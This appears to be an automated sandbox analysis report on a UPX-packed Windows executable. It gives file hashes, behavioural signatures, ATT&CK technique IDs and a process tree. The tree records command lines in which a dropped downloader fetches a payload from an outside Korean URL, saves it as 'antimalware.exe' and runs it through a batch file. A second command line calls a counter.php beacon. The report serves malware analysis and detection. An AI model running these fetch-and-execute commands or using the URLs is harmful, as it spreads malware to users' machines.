a0bdfd11db71f8a2efe0c7a21865ee8550aad33eca5fba022266910522bdee81

Analysis

max time kernel
142s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
30-12-2023 01:15

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General

Target

09c4bf9b51c56260cbc50c947778819a.exe
Size

139KB
MD5

09c4bf9b51c56260cbc50c947778819a
SHA1

946e4afd5745cbed9be7dae9612e91aac7275626
SHA256

a0bdfd11db71f8a2efe0c7a21865ee8550aad33eca5fba022266910522bdee81
SHA512

55c22d182accbade9a56551879654e85f223cf3f86810f78cabd79093762cbd0e10544d1f51626493f0a65d83c7e51a76d57f673610b2f5b0a28a81690322c3f
SSDEEP

3072:iSB1Ed0h4MEHZB5TiVhf/rw9pCLkmDVe8VFHqjxNQ6r:iSB1Ed0h/CB5OVhc9pCLNVe8+xNQC

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	09c4bf9b51c56260cbc50c947778819a.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	start.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 3 IoCs

pid	Process
2996	start.exe
2940	dw.exe
2800	dw.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2996-11-0x0000000000400000-0x0000000000415000-memory.dmp	upx
behavioral2/memory/2996-29-0x0000000000400000-0x0000000000415000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3272	cmd.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3052 wrote to memory of 2996	3052	09c4bf9b51c56260cbc50c947778819a.exe	27
PID 3052 wrote to memory of 2996	3052	09c4bf9b51c56260cbc50c947778819a.exe	27
PID 3052 wrote to memory of 2996	3052	09c4bf9b51c56260cbc50c947778819a.exe	27
PID 2996 wrote to memory of 2120	2996	start.exe	26
PID 2996 wrote to memory of 2120	2996	start.exe	26
PID 2996 wrote to memory of 2120	2996	start.exe	26
PID 2120 wrote to memory of 2940	2120	cmd.exe	24
PID 2120 wrote to memory of 2940	2120	cmd.exe	24
PID 2120 wrote to memory of 2940	2120	cmd.exe	24
PID 2120 wrote to memory of 2800	2120	cmd.exe	33
PID 2120 wrote to memory of 2800	2120	cmd.exe	33
PID 2120 wrote to memory of 2800	2120	cmd.exe	33
PID 2120 wrote to memory of 3272	2120	cmd.exe	32
PID 2120 wrote to memory of 3272	2120	cmd.exe	32
PID 2120 wrote to memory of 3272	2120	cmd.exe	32

C:\Users\Admin\AppData\Local\Temp\09c4bf9b51c56260cbc50c947778819a.exe
"C:\Users\Admin\AppData\Local\Temp\09c4bf9b51c56260cbc50c947778819a.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3052
- C:\Users\Admin\AppData\Local\Temp\start.exe
  "C:\Users\Admin\AppData\Local\Temp\start.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2996

C:\Users\Admin\AppData\Local\Temp\dw.exe
C:\Users\Admin\AppData\Local\Temp\dw.exe http://smart.coreenglish.co.kr/smart/avisosl/counter.php Admin.tmp
1⤵
- Executes dropped EXE
PID:2940

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\44AA.tmp\start.bat" "
1⤵
- Suspicious use of WriteProcessMemory
PID:2120
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\antimalware.exe""
  2⤵
  - Checks computer location settings
  - Suspicious use of SetWindowsHookEx
  PID:3272
- C:\Users\Admin\AppData\Local\Temp\dw.exe
  C:\Users\Admin\AppData\Local\Temp\dw.exe http://smart.coreenglish.co.kr/smart/492C0ED44E73249708175EF43E.spk ""C:\Users\Admin\AppData\Local\Temp\antimalware.exe""
  2⤵
  - Executes dropped EXE
  PID:2800

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2996-11-0x0000000000400000-0x0000000000415000-memory.dmp

Filesize
84KB

Download
memory/2996-29-0x0000000000400000-0x0000000000415000-memory.dmp

Filesize
84KB

Download